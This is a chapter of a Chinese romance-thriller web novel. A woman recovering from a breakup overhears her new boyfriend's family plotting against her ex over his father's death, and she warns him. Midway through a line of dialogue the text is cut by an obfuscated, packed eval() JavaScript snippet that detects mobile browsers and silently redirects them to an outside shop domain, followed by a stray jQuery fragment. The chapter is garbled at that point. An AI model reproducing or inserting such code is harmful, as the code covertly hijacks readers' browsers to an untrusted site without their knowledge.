林晚接到许达结婚的消息，是在一个周二。
那天芝加哥下了一场冻雨，雨滴落在窗玻璃上，瞬间结成了冰，把整个城市封在一层透明的壳里。
Tina端着咖啡从茶水间出来，路过林晚的工位时停下来，压低声音说：“林姐，你听说了吗？龙腾那个许达，周末结婚了。娶的是沈家的大小姐，挺着大肚子穿的婚纱。”
林晚的手指在键盘上停了一下，只是“嗯”了一声，然后继续打字。
Tina站在那里，嘴唇动了几下，想说什么又咽了回去。
那天晚上，林晚没有加班。
在玄关脱了鞋，换上那件灰色的旧卫衣。
卫衣是许达的，她一直没有扔。洗了很多次，布料已经起球了，领口松垮垮的，露出锁骨。
她站在厨房里，打开冰箱，拿出一盒牛奶，倒了一杯，放进微波炉。
牛奶热好了，她端起来喝了一口。烫的，舌尖发麻。
她端着杯子走到客厅，在沙发上坐下来，打开电视。
电视里在播什么她不知道，画面在动，声音在响，但她的目光是散的。
喝完牛奶，把杯子放在茶几上，关了电视，走进卧室，躺在床上，关了灯。
黑暗中她睁着眼睛。
她以为自己会哭。
眼泪在眼眶里转了几圈，又退回去了，像潮水涨到最高处，没有涌上岸。
第二天早上，林晚没有去上班。
Tina打电话来的时候，她正蜷缩在床上，被子裹得严严实实，像一个茧。
“林姐，你怎么没来？是不是生病了？”
“嗯。有点发烧。”
“严重吗？要不要我送你去医院？”
“不用。睡一觉就好了。”
她挂了电话，把手机扔在枕头旁边。
她睡了一整天。不是那种踏实的一觉到天亮的睡，是那种迷迷糊糊的、半梦半醒的、分不清白天黑夜的睡。
她梦见许达在厨房里炒菜，穿着那件灰色的卫衣，袖子卷到小臂，锅里的油滋滋地响。她走过去从后面抱住他，脸贴着他的后背，卫衣的布料粗糙，蹭着她的脸颊。
然后她醒了。枕头是湿的。
第三天，烧没有退。第四天，更严重了。林晚躺在床上，感觉自己像一块被拧干的海绵，水分被一点一点地挤出去，身体越来越轻，轻到像要飘起来。
何知薇是第五天来的。
她打了十几个电话，林晚一个都没接。
她用林晚给她的钥匙开了门，走进卧室，看见林晚蜷缩在床上，床头柜上放着一盒拆开的感冒药。
她伸手摸了摸林晚的额头——烫的，烫得像刚浇了开水的杯子。
“林晚。林晚！”何知薇拍了拍她的脸，叫了十几声，林晚才睁开眼睛。
“你怎么来了？”声音沙哑的，像很久没用过。
“我再不来，你就死在家里了。起来，我送你去医院。”
林晚摇了摇头。
何知薇没有理她，从衣柜里拿出一件大衣，把林晚从床上拽起来，给她穿上。
大衣太大了，是许达的，林晚一直没舍得丢。
何知薇扶着她上了车，一路上林晚没有说话，靠在车窗上，看着窗外。冻雨已经停了，但天还是灰蒙蒙的，像一块巨大的脏抹布。
***
陈屿洲是第二天来的。
他给林晚办公室打电话，得知林晚住院了。
赶到医院的时候，林晚正在输液，白色的床单，白色的枕头，白色的墙，她的脸也是白的，白到透明，青色的血管在太阳穴下面隐隐可见。
“你怎么来了？”林晚问。
“我给你办公室打电话，Tina告诉我的。”
“她不应该跟客户讲私事。”
“我不是客户，我是你的老同学。”陈屿洲在床边的椅子上坐下来，把一袋水果放在床头柜上。
他剥了一个橙子，递给林晚。林晚没有接。
“我吃不下。”
“吃不下也要吃。你几天没吃东西了？”
林晚没有回答。
陈屿洲把橙子放在床头柜上，靠在椅背上，看着输液管里的液体一滴一滴地往下滴。
滴答，滴答，像倒计时。
“许达结婚了。”他说。
“我知道。”
“你因为他住院的？”
“不是。因为感冒。”
陈屿洲见林晚逞强，就没有再问。
他在医院待了一整天，又在椅子上坐了一夜。
凌晨的时候，他趴在床边睡着了，手还握着林晚的手——不知道什么时候握上去的，也许是林晚睡着了之后，也许是她没有挣开。
林晚醒来的时候，感觉到手上的温度，不由得想起许达。许达睡着的时候也是这个样子。
第三天，林晚出院了。陈屿洲开车送她回家。The Reed楼下，他停好车，熄了火，没有下车。
“林晚，我有话跟你说。”
“什么？”
“做我女朋友。”
林晚看着挡风玻璃外面。天黑了，路灯亮着，昏黄的灯光照在湿漉漉的柏油路面上，像一条发光的河。她没有看他。
“陈屿洲，我不喜欢你。”
“我知道。”
“那你为什么还要说？”
“因为我想照顾你。你不喜欢我也没关系。我喜欢你就够了。”
林晚沉默了很久。
“你让我想想。”
“好。”
那天晚上，林晚躺在床上，想了很久。
她累了，许达带来的疲劳损耗了她仅剩的一点生活热情。
她拿起手机，给陈屿洲发了一条消息：「好。」
凌晨一点二十三分。
陈屿洲很快回了：「我保证会好好对你的。再也不会让你失望痛苦，相信我。」
林晚看着那行字，没有回。
***
陈屿洲的养父陈国栋知道陈屿洲谈恋爱了，对象条件还很不错，是CME的期货经理，去年拿了芝加哥年度金融人物。
消息是陈屿洲的哥哥陈屿安说的，他在龙腾的财务部上班，消息灵通。
“那个林晚，哥大毕业的，做期货的，去年拿了奖。陈屿洲能追上她，算他本事。”陈屿安靠在沙发上，翘着腿，手里端着一杯威士忌。
陈国栋点点头：“这个女人我知道，算是芝加哥的金融新贵。屿洲能追到她，也算做了点有用的事。请她来家里吃个饭，要是合得来，家里的事可以要她帮忙办点。”
周六下午，陈屿洲来接林晚。
陈家的宅邸在芝加哥北郊。黑色的铁门，白色的罗马柱，门口的喷泉在夕阳下泛着金色的光。
车开了进去，沿着两旁种满松树的车道行驶，松树的树冠上积着雪，在夕阳下泛着淡粉色的光。
客厅里的水晶吊灯亮着，暖黄色的光，照在红木家具上，地毯上，以及墙上那幅巨大的油画上。
画面画的是一片湖，湖面上有几只天鹅，笔触很粗糙，颜色很暗，像陈屿洲公寓里那些画一样，不知道是从哪个旧货市场淘来的。
陈国栋坐在沙发上，看见林晚进来，站起来，脸上带着一种欢迎的表情。
“你就是林晚？屿洲经常提起你。”
“陈伯伯好。”林晚微微鞠了一躬。
陈屿安从楼梯上走下来，穿着一件花哨的紫色毛衣，领口露出一截金色的项链。
他上下打量着林晚，嘴角带着一个似笑非笑的表情。
“林小姐，久仰大名。我弟能追上你，真是他的福气。”
“陈先生过奖了。”
“叫我屿安就行。都是一家人。”
陈屿洲冷眼看哥哥跟林晚热情地套近乎，皱了皱眉，没有说话。
林晚在沙发上坐下来，接过佣人递来的茶。
这时候，门铃响了。
佣人去开门。林晚听见脚步声，抬起头，看见许达走进来。
他嘴角的伤已经好了，看不出痕迹。
沈若棠走在他旁边，穿着一件宽松的丝绒长裙，肚子已经很大了。
林晚的目光和许达撞了一下。许达的脚步停了一瞬。
沈若棠看见林晚，愣了一下。
“林晚？好久不见。”
“好久不见。”林晚的声音很平。
陈屿安站起来，招呼许达和沈若棠坐下。
许达坐在林晚对面，隔着茶几，目光落在她锁骨下面那颗星星吊坠上。
那是他送给林晚的礼物，林晚一直戴着。
他的手指微微动了一下，像要摸什么，但什么都没有摸到。
***
晚餐在餐厅里进行。
长桌铺着白色桌布，上面摆着银器和鲜花。
陈国栋坐在主位，陈屿安和陈屿洲坐在他两边，林晚坐在陈屿洲旁边，许达和沈若棠坐在对面。
陈国栋端起酒杯。
“欢迎林晚来家里做客。也欢迎衍之和若棠。都是一家人，不要客气。”
“谢谢陈伯伯。”林晚端起酒杯，抿了一口。
陈国栋放下酒杯，看着许达。
“衍之，新婚生活怎么样？还习惯吗？”
许达放下刀叉，看了一眼沈若棠，犹豫了几秒。
“还行。没什么不习惯的。”
“若棠肚子里的孩子几个月了？快生了吧？”
“六个月。”沈若棠的手放在肚子上，“明年三月预产期。”
“男孩女孩？”
“没查。不管男孩女孩，我们都喜欢。”
陈国栋笑了。
“衍之，你命好。老婆孩子都有了。”
许达没有说话，端起酒杯喝了一大口。
林晚看着盘子里的牛排，牛排已经凉了，肉汁凝固在白色的瓷盘上，像一层薄薄的胶水。
陈国栋忽然开口。
“衍之，你爸那块地的事，你打算怎么处理？”
许达的手指停了一下。
“这……我还没想好。”
“那块地市值三千多万，不是小数目。你要是想卖，我可以帮你找买家。”
“好的，叔叔。我想好了再告诉您。”
晚餐结束后，陈国栋安排所有人都住下。
佣人收拾了二楼的几间客房，林晚住在走廊东边，许达和沈若棠住在走廊西边，中间隔着一个楼梯和两扇门。
***
晚上十一点，林晚躺在床上，睡不着。
窗帘没拉严实，月光从缝隙里漏进来。
她听见隔壁房间有开门的声音，然后是脚步声，轻轻的，踩在地毯上，像猫。
她下了床，走到窗前，拉开窗帘。月光照在她脸上，凉凉的，像一层薄薄的霜。
她推开窗户，冷风灌进来，吹得她头发飞起来。她深吸了一口气，冷的，肺像被冰水洗过。
她走出房间，沿着走廊走到楼梯口，想下楼去花园走走。
经过楼梯拐角的时候，她听见了一个声音从走廊尽头传来。
书房的门虚掩着，暖黄色的光从门缝里透出来，在地毯上画了一个金色的三角形。
陈国栋的声音，压得很低，但夜里太安静了，每一个字都清晰无比。
“许达最近在查他爸的死因。”
陈屿安的声音。
“他查到了什么？这小子遇事太认真，肯定要查个底朝天。”
“不知道，但他已经查到了沈鹤鸣那里。沈鹤鸣手里有证据。许达现在娶了沈若棠，就是沈鹤鸣的女婿。沈鹤鸣迟早会把证据给他。”
“那怎么办？”
“不能让许达拿到证据。他拿到证据，我们就完了。”
陈国栋的声音很低，低到像从喉咙里挤出来的。
“陈国良的人当年做得太不干净了。刹车动了手脚，但修车的还活着。许达要是找到修车的——”
“那就让他找不到。”
“怎么让他找不到？”
陈屿安顿了顿。
“他在明处，我们在暗处。他查他的，我们做我们的。只要证据不落在他手里，他就没办法。”
“沈鹤鸣那边呢？”
“沈鹤鸣不敢公开证据。公开了，沈家就完了。他比我们更怕。”
陈国栋沉默了。
“不管怎样，许达不能留。”
林晚的手指攥紧了。
陈屿安的声音压得更低了。
“要安排一个机会干掉他吗？”
“不急。先看看他查到了什么。如果他真的拿到了证据——”
“那就让他永远闭嘴。”
林晚的血一下子冲上了头顶。
她想走，但脚动不了。她想拿出手机录音，但手在抖，抖得连口袋都摸不到。
***
“林晚？”
声音从身后传来。
林晚猛地转过身，陈屿洲站在三步之外，穿着睡袍，头发乱糟糟的，眼睛还没完全睁开，像一个刚从梦里被拽出来的人。
“你怎么在这里？”他问。
“我——”
书房里的声音停了。门缝里的光灭了。
林晚听见椅子被推开的声音，脚步声，有人在往门口走。
陈屿洲看了一眼书房的门，又看了一眼林晚，走过来，伸出手，捧住她的脸。
他的手指是凉的，贴着她的脸颊，像两片刚从冰箱里拿出来的叶子。
他低下头，吻了她，湿润的，法式的。
嘴唇碰到嘴唇的那一刻，林晚的大脑一片空白。
她听见书房的门被推开了，陈国栋和陈屿安站在门口。
她听见陈国栋说“屿洲？你怎么在这里”，陈屿洲松开她，转过身，用手背擦了擦嘴角，笑了一下。
“睡不着，跟林晚聊天呢。”
陈国栋的目光从陈屿洲脸上移到林晚脸上，又从林晚脸上移回来。
“早点睡。明天还要早起。”他关上门。
陈屿洲转过身，看着林晚。
林晚靠着墙，腿在发软，心跳得像要从胸口蹦出来。
她的嘴唇上还有陈屿洲嘴唇的温度——凉的，像薄荷。
“你都听到了？”他问。
“你——”
“我在书房门口站了一会儿。比你早。”他的声音低到像在跟自己说，“他们说要杀许达。”
林晚的心剧烈地跳动起来。
“你听到了，为什么不进去？”
“进去干什么？跟他们说‘我不同意’？他们会听我的吗？我在陈家，什么都不是。”
林晚看着他，突然有种哭的冲动。
“刚才的话，我要告诉许达。”
陈屿洲沉默了几秒。
“你要告诉他，我不拦你。但你有没有想过，他知道有人要杀他，能怎么办？报警？警察管不了龙堂的事。不报警？他一个人，斗不过陈家。”
“那你让我怎么办？当没听见？”
“我不是这个意思。我只是说——你要想清楚。告诉他，他会死。不告诉他，他也
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17508631|202902||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
未必安全。你选一个。”
林晚的眼泪流了下来。她不知道自己为什么要哭，但她控制不住。
陈屿洲伸出手，轻轻擦掉了她脸上的眼泪。
“我会帮你。你不是一个人，你还有我。”他说。
“你怎么帮我？”
“我在陈家。我了解我爸爸和哥哥。我能猜到他们下一步想干什么。”
“你为什么要帮我？”
陈屿洲看着她，看了很久。
“因为你值得。你答应跟我交往了，我就要保护你。”
***
第二天早上，林晚下楼吃早餐的时候，发现所有人都在看她。
陈国栋坐在餐桌主位，面前放着一碗粥和一碟小菜，低着头喝粥。陈屿安靠在椅背上，手里端着一杯咖啡，嘴角带着一个似笑非笑的表情。沈若棠坐在许达旁边，目光落在林晚身上。佣人们站在厨房门口，交头接耳，窃窃私语，像一群麻雀。
林晚听见了“走廊”“接吻”“半夜”这几个词，像针扎在她后颈上。
陈屿洲走到林晚旁边，拉开椅子。
“坐。”
林晚坐下来。陈屿洲拿起咖啡壶，给她倒了一杯咖啡。
咖啡是热的，黑褐色的液体从壶嘴里流出来，带着浓郁的苦香。
早餐结束后，林晚走出餐厅，许达跟了上来。
“林晚，你等等。”他叫了一声。
林晚停下来，转过身。
许达站在她身后，眼睛里布满血丝。
“你跟陈屿洲在一起了？”
“跟你没关系。”
“我问你，你是不是跟他在一起了？”
“是。”
许达的嘴唇动了几下，眼眶红了。
“你爱他吗？”
“许达，你结婚了，就要做爸爸了。你问这个问题，有意义吗？我们还是不要再打扰彼此了！”
许达张了张嘴，说不出话来。
林晚转身走了。
***
那天下午，林晚在花园里找到了许达。
条石板路从后门延伸到凉亭，两旁种着月季和薰衣草。
冬天的月季已经谢了，只剩光秃秃的枝干，在雪地里像一根根黑色的铁丝。
凉亭的顶上积着雪，风一吹，雪沫飘下来，落在许达的肩膀上。
他围着那条她送的围巾，双手插在口袋里，像一棵被雪压弯了的树。
林晚走过去，站在他旁边。
“许达，我有话跟你说。”
“什么？”
“你爸的死，跟陈国栋和陈屿安有关。”
许达的手指攥紧了口袋里的布料。
“你听谁说的？”
“昨天晚上，我睡不着想出去逛逛。路过书房的时候，听见陈国栋和陈屿安在说，不能让你拿到证据，说如果你拿到了证据，就让你永远闭嘴。”
许达沉默了。
“还有呢？”
“他们说，你爸的死，是陈国栋要人做的。刹车动了手脚。修车的人还活着。”
许达闭上了眼睛。
陈国栋是他的亲叔叔。他父亲的亲弟弟，竟然会狠到对血亲下手。
“林晚，谢谢你告诉我这些。”
“你打算怎么办？”
“不知道。”
林晚满是心疼地望着他。
“许达，你要小心。他们不是说着玩的。”
许达犹豫了一下，开口道：“你这么讲，是还在乎我？你跟陈屿洲……是故意气我的吗？”
林晚没有回答，转身走了。
***
那天晚上，许达回到沈家，把自己关在书房里。
他打开电脑，对神秘账号发了一条消息：「我知道是谁杀我爸了。陈国栋和陈屿安。」
手机震了一下。
「你确定？为什么认定他们？」
「林晚亲耳听到的。他们在书房里说，不能让我拿到证据，如果我拿到了，就让我永远闭嘴。还说刹车动了手脚，修车的人还活着。」
「陈家有参与。但不完全是他们。起码，他们不是主谋。」
许达的手指停了一下。
「什么意思？」
「你爸的死，不止一个人。陈国栋动了刹车，但他没有胆量自作主张。他背后还有人。」
「谁？」
「我说了，你现在知道了会招来杀身之祸。你还没站稳。先站稳，再动手。」
「你至少告诉我，陈国栋背后的人，是不是长老会的？」
对方没有立刻回复。
许达盯着屏幕，盯了整整两分钟。
「是。」
一个字。
许达靠在椅背上，盯着天花板。灯罩是乳白色的，圆形，跟林晚家那盏一模一样。他想起林晚说“你要小心，他们不是说着玩的”。他想起陈国栋在餐桌上说“衍之，你爸那块地的事，你打算怎么处理”。他想起陈屿安说“那就让他找不到”。他想起陈国栋说“许达不能留”。
他拿起手机，给那个神秘账号发了一条消息：「我知道了。谢谢你。」
对方没有回。但“已读”那两个字还亮着，像一个在黑暗中举着火把的人。
# 十、悲伤
第二天早上，许达没有下楼吃早餐。
沈若棠推门进来的时候，他坐在床边，手里拿着那枚黄金戒指。鹰的翅膀，爪子下面抓着一行看不清的字。戒圈已经被他摸得发亮了，像一面小小的镜子。
“衍之，你怎么了？不舒服吗？”
“没事。”
沈若棠走过来，坐在他旁边。她的手放在肚子上，肚子里的孩子踢了一下，她“嘶”了一声，皱起眉头。
“他踢我。”她笑了一下。
许达看着她的肚子，想起那个孩子不是他的，突然觉得沈若棠随时随地对男人发出的娇羞，是那么无耻，又莫名其妙。
“若棠，我问你一件事。”
“什么？”
“关于我爸的死因，你爸手里有证据吗？”
沈若棠愣了一下。
“不知道。他应该有证据吗？”
“没什么。”
许达不想再跟她多讲，这女人智力不够，讲多了会坏事。
“衍之，你是不是有心事？”
“没有。”
“你骗人。我的第六感很准的，你肯定有事。”
许达低头看了一眼自己手上的金戒指。
“若棠，如果我告诉你，杀我爸的人是我叔叔，你会怎么想？”
沈若棠的脸白了。
“你说什么？陈长老杀你爸？”
“是的。陈国栋，我叔叔。他动了刹车。他背后还有人。长老会的。”
沈若棠的脸色更白了。
“衍之，你确定？这可不是一件小事，你不能指控自己的叔叔。”
“林晚亲耳听到他们父子谈话的。而且，根据我之前的调查，他确实嫌疑很大。”
沈若棠低下头，看着自己的肚子。
“衍之，你要报仇吗？这事听着有些吓人。你可不能太冲动啊，就算是为了我们的孩子……”
许达本来只是简单地倾诉，但听到沈若棠驴头不对马嘴的话，蹭的一声站起来，走到窗前，拉开窗帘。
阳光照进来，刺得他眼睛发酸。
“这里就咱们两个人，你没必要讲“我们的孩子”。说得上吗？”
这是一句赌气的狠话，但威力无边。
沈若棠一下子满脸通红，泪水止不住流下来。